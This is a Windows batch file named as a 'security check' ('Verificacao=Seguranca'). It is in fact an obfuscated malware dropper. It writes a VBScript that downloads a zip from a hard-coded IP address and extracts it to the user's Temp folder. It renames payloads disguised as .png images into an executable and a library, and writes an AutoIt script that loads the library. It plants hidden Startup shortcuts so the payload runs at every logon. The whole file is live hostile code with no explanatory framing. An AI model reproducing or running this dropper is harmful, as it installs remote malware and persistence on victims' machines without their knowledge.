Verificacao=Seguranca.bat

@echo off
SETLOCAL
md "%USERPROFILE%\Temp" && cls
set MC8A8S8DAOANC8N8ANC8ANDCAO8SDCNASD8CHA9S7DCASD7CTD7A5CATS76DCA6S7DGC6ASIDKFNY4Y3BB84378BC4C87378438748738BFBYBFYBBFBFBFBFFBBB=%USERNAME%.vbs
set F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH=%USERPROFILE%\Temp\%MC8A8S8DAOANC8N8ANC8ANDCAO8SDCNASD8CHA9S7DCASD7CTD7A5CATS76DCA6S7DGC6ASIDKFNY4Y3BB84378BC4C87378438748738BFBYBFYBBFBFBFBFFBBB% ECHO

call :VENDERMUITO && goto VEXDS
:VENDERMUITO
set VENDERMUITO=%random%
:VEXDS
set /A VENDERMUITO=%VENDERMUITO%*9876
if not %VENDERMUITO% gtr 999999999 goto VEXDS
if %VENDERMUITO% gtr 999999999 goto n_gerado
:n_gerado

:HTML SAVE-AS Download-- VBSSet
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set H7VMYTSHE = WScript.CreateObject("WScript.Shell")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% set FFFFFSSSSSOOOO = CreateObject("Scripting.FileSystemObject")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% If NOT FFFFFSSSSSOOOO.FileExists("C:\\Users\\%USERNAME%\\Temp\\i.dat") Then
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% FFFFFSSSSSOOOO.CreateFolder("C:\\Users\\%USERNAME%\\Temp\\%VENDERMUITO%")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% CHAMANABANCA = "http://45.77.56.105/mds/qn.zip"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% CHEGOULAVEI = "C:\\Users\\%USERNAME%\\Temp\\%VENDERMUITO%\\%VENDERMUITO%.zip"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set VARIANELAMANDOS10 = CreateObject("MSXML2.XMLHTTP")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% VARIANELAMANDOS10.open "GET", CHAMANABANCA, False
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% VARIANELAMANDOS10.send
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% If VARIANELAMANDOS10.Status = 200 Then
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Dim VARIANELAMANDOS11
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set VARIANELAMANDOS11 = CreateObject("ADODB.Stream")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% With VARIANELAMANDOS11
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% .Type = 1
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% .Open
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% .Write VARIANELAMANDOS10.responseBody
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% .SaveToFile CHEGOULAVEI
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% .Close
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% End With
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% set VARIANELAMANDOS11 = Nothing
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% End If
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% zipfile = "%USERPROFILE%\Temp\%VENDERMUITO%\%VENDERMUITO%.zip"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% ExtractTo = "%USERPROFILE%\Temp\%VENDERMUITO%\"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% set VMANSKNCNNNNN8787878787S = CreateObject("Shell.Application")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% set FilesInZip=VMANSKNCNNNNN8787878787S.NameSpace(ZipFile).items
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% VMANSKNCNNNNN8787878787S.NameSpace(ExtractTo).CopyHere(FilesInZip)
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set VMANSKNCNNNNN8787878787S = Nothing
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set VARIANELAMANDOS16 = CreateObject("Scripting.FileSystemObject")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% If VARIANELAMANDOS16.FileExists(zipfile) Then
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% VARIANELAMANDOS16.DeleteFile(zipfile)
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% End If
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% FFFFFSSSSSOOOO.MoveFile "%USERPROFILE%\Temp\%VENDERMUITO%\exe.png", "%USERPROFILE%\\Temp\%VENDERMUITO%\%VENDERMUITO%.exe"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% FFFFFSSSSSOOOO.MoveFile "%USERPROFILE%\Temp\%VENDERMUITO%\pp.png", "%USERPROFILE%\\Temp\%VENDERMUITO%\%VENDERMUITO%.BmP"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% If VARIANELAMANDOS16.FileExists("%USERPROFILE%\Temp\%VENDERMUITO%\exe.png") Then
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% VARIANELAMANDOS16.DeleteFile("%USERPROFILE%\Temp\%VENDERMUITO%\exe.png")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% End If
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% If VARIANELAMANDOS16.FileExists("%USERPROFILE%\Temp\%VENDERMUITO%\pp.png") Then
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% VARIANELAMANDOS16.DeleteFile("%USERPROFILE%\Temp\%VENDERMUITO%\pp.png")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% End If
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set H7VMYTSHE = WScript.CreateObject("WScript.Shell")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% strName =  %VENDERMUITO%
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set VMANSKNCNNNNN8787878787S = WScript.CreateObject("WScript.Shell")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set objFFFFFSSSSSOOOO = CreateObject("Scripting.FileSystemObject")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set lnk = VMANSKNCNNNNN8787878787S.CreateShortcut("%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\%VENDERMUITO%.lnk")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.TargetPath = "%USERPROFILE%\Temp\%VENDERMUITO%\%VENDERMUITO%.exe"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.Arguments =   "%VENDERMUITO%.TT  %VENDERMUITO%"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.Description = "%VENDERMUITO%"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.HotKey = "ALT+CTRL+F"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.IconLocation = "%SystemRoot%\system32\Shell32.dll, 0"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.WindowStyle = "0"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.WorkingDirectory = "%USERPROFILE%\Temp\%VENDERMUITO%\"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.Save
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set objell = WScript.CreateObject("WScript.Shell")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set obFFFFFSSSSSOOOO = CreateObject("Scripting.FileSystemObject")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set lnk = objell.CreateShortcut("%USERPROFILE%\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Bn%VENDERMUITO%.lnk")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.TargetPath = "%USERPROFILE%\Temp\%VENDERMUITO%.vbs"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.Arguments =   ""
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.Description = "%VENDERMUITO%"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.HotKey = "ALT+CTRL+F"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.IconLocation = "%SystemRoot%\system32\Shell32.dll, 0"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.WindowStyle = "0"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.WorkingDirectory = "%USERPROFILE%\Temp\"
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% lnk.Save
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set FFFFFSSSSSOOOOk = CreateObject("Scripting.FileSystemObject")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set chama = FFFFFSSSSSOOOOk.CreateTextFile("C:\\Users\\%USERNAME%\\Temp\\%VENDERMUITO%\\%VENDERMUITO%.TT", True)
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% chama.WriteLine("#NoTrayIcon")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% chama.WriteLine("Global $%VENDERMUITO% = $CmdLine[1]")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% chama.WriteLine("Global $%VENDERMUITO%86 = DllOpen('%VENDERMUITO%.BmP')")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% chama.WriteLine("DllCall($%VENDERMUITO%86, 'STRUCT', 'Certeza')")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% chama.Close
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set MyFile = FFFFFSSSSSOOOO.CreateTextFile("C:\\Users\\%USERNAME%\\Temp\\i.dat", True)
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% MyFile.WriteLine("%VENDERMUITO%")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% MyFile.Close
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Const ForReading = 1
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Const ForWriting = 2
